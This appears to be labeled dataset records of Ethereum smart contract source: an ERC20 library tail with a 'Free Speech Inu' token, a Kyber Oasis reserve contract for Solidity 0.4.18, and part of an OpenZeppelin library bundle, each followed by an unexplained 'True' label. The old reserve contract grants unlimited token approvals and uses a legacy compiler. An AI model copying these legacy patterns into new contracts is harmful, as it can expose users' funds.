function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
contract FSI is ERC20 {
uint8 immutable private _decimals = 18;
uint256 private _totalSupply = 10000000000000 * 10 ** 18;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor () ERC20('Free Speech Inu', 'FSI') {
_mint(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
|
True
|
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102
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pragma solidity 0.4.18;
// File: contracts/ERC20Interface.sol
// https://github.com/ethereum/EIPs/issues/20
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/KyberReserveInterface.sol
/// @title Kyber Reserve contract
interface KyberReserveInterface {
function trade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
public
payable
returns(bool);
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint);
}
// File: contracts/Utils.sol
/// @title Kyber constants contract
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28); // 10B tokens
uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint tokenDecimals = decimals[token];
// technically, there might be token with decimals 0
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
}
// File: contracts/PermissionGroups.sol
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
/**
* @dev Allows the current admin to set the pendingAdmin address.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
/**
* @dev Allows the current admin to set the admin in one tx. Useful initial deployment.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed( address newAdmin, address previousAdmin);
/**
* @dev Allows the pendingAdmin address to finalize the change admin process.
*/
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
// File: contracts/Withdrawable.sol
/**
* @title Contracts that should be able to recover tokens or ethers
* @author Ilan Doron
* @dev This allows to recover any tokens or Ethers received in a contract.
* This will prevent any accidental loss of tokens.
*/
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
/**
* @dev Withdraw all ERC20 compatible tokens
* @param token ERC20 The address of the token contract
*/
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
/**
* @dev Withdraw Ethers
*/
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
// File: contracts/KyberOasisReserve.sol
contract OtcInterface {
function getBuyAmount(ERC20 buyGem, ERC20 payGem, uint payAmt) public constant returns (uint fillAmt);
function sellAllAmount(ERC20 payGem, uint payAmt, ERC20 buyGem, uint minFillAmount) public returns (uint fillAmt);
}
contract TokenInterface is ERC20 {
function deposit() public payable;
function withdraw(uint) public;
}
contract KyberOasisReserve is KyberReserveInterface, Withdrawable, Utils {
address public kyberNetwork;
OtcInterface public otc;
TokenInterface public wethToken;
ERC20 public tradeToken;
bool public tradeEnabled;
uint public feeBps;
function KyberOasisReserve(
address _kyberNetwork,
OtcInterface _otc,
TokenInterface _wethToken,
ERC20 _tradeToken,
address _admin,
uint _feeBps
) public {
require(_admin != address(0));
require(_kyberNetwork != address(0));
require(_otc != address(0));
require(_wethToken != address(0));
require(_tradeToken != address(0));
require(_feeBps < 10000);
kyberNetwork = _kyberNetwork;
otc = _otc;
wethToken = _wethToken;
tradeToken = _tradeToken;
admin = _admin;
feeBps = _feeBps;
tradeEnabled = true;
}
event DepositToken(ERC20 token, uint amount);
function() public payable {
DepositToken(ETH_TOKEN_ADDRESS, msg.value);
}
event TradeExecute(
address indexed origin,
address src,
uint srcAmount,
address destToken,
uint destAmount,
address destAddress
);
function trade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
public
payable
returns(bool)
{
require(tradeEnabled);
require(msg.sender == kyberNetwork);
require(doTrade(srcToken, srcAmount, destToken, destAddress, conversionRate, validate));
return true;
}
event TradeEnabled(bool enable);
function enableTrade() public onlyAdmin returns(bool) {
tradeEnabled = true;
TradeEnabled(true);
return true;
}
function disableTrade() public onlyAlerter returns(bool) {
tradeEnabled = false;
TradeEnabled(false);
return true;
}
event ReserveParamsSet(
address kyberNetwork,
OtcInterface otc,
TokenInterface wethToken,
ERC20 tradeToken,
uint feeBps
);
function setReserveParams(
address _kyberNetwork,
OtcInterface _otc,
TokenInterface _wethToken,
ERC20 _tradeToken,
uint _feeBps
)
public
onlyAdmin
{
require(_kyberNetwork != address(0));
require(_otc != address(0));
require(_wethToken != address(0));
require(_tradeToken != address(0));
require(_feeBps < 10000);
kyberNetwork = _kyberNetwork;
otc = _otc;
wethToken = _wethToken;
tradeToken = _tradeToken;
feeBps = _feeBps;
ReserveParamsSet(kyberNetwork, otc, wethToken, tradeToken, feeBps);
}
function getDestQty(ERC20 src, ERC20 dest, uint srcQty, uint rate) public view returns(uint) {
uint dstDecimals = getDecimals(dest);
uint srcDecimals = getDecimals(src);
return calcDstQty(srcQty, srcDecimals, dstDecimals, rate);
}
function valueAfterReducingFee(uint val) public view returns(uint) {
require(val <= MAX_QTY);
return ((10000 - feeBps) * val) / 10000;
}
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint) {
uint rate;
uint destQty;
ERC20 wrappedSrc;
ERC20 wrappedDest;
blockNumber;
if (!tradeEnabled) return 0;
if ((tradeToken != src) && (tradeToken != dest)) return 0;
if (src == ETH_TOKEN_ADDRESS) {
wrappedSrc = wethToken;
wrappedDest = dest;
} else if (dest == ETH_TOKEN_ADDRESS) {
wrappedSrc = src;
wrappedDest = wethToken;
} else {
return 0;
}
destQty = otc.getBuyAmount(wrappedDest, wrappedSrc, srcQty);
rate = valueAfterReducingFee(destQty) * PRECISION / srcQty;
return rate;
}
function doTrade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
internal
returns(bool)
{
uint actualDestAmount;
require((ETH_TOKEN_ADDRESS == srcToken) || (ETH_TOKEN_ADDRESS == destToken));
require((tradeToken == srcToken) || (tradeToken == destToken));
// can skip validation if done at kyber network level
if (validate) {
require(conversionRate > 0);
if (srcToken == ETH_TOKEN_ADDRESS)
require(msg.value == srcAmount);
else
require(msg.value == 0);
}
uint destAmount = getDestQty(srcToken, destToken, srcAmount, conversionRate);
// sanity check
require(destAmount > 0);
if (srcToken == ETH_TOKEN_ADDRESS) {
wethToken.deposit.value(msg.value)();
//TODO - move to constructor...
if (wethToken.allowance(this, otc) < msg.value) {
wethToken.approve(otc, uint(-1));
}
actualDestAmount = otc.sellAllAmount(wethToken, msg.value, destToken, destAmount);
require(actualDestAmount >= destAmount);
// transfer back only requested dest amount.
require(destToken.transfer(destAddress, destAmount));
} else {
require(srcToken.transferFrom(msg.sender, this, srcAmount));
/* TODO - move to constructor */
if (srcToken.allowance(this, otc) < srcAmount) {
srcToken.approve(otc, uint(-1));
}
actualDestAmount = otc.sellAllAmount(srcToken, srcAmount, wethToken, destAmount);
require(actualDestAmount >= destAmount);
wethToken.withdraw(actualDestAmount);
// transfer back only requested dest amount.
destAddress.transfer(destAmount);
}
TradeExecute(msg.sender, srcToken, srcAmount, destToken, destAmount, destAddress);
return true;
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2022-02-24
*/
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
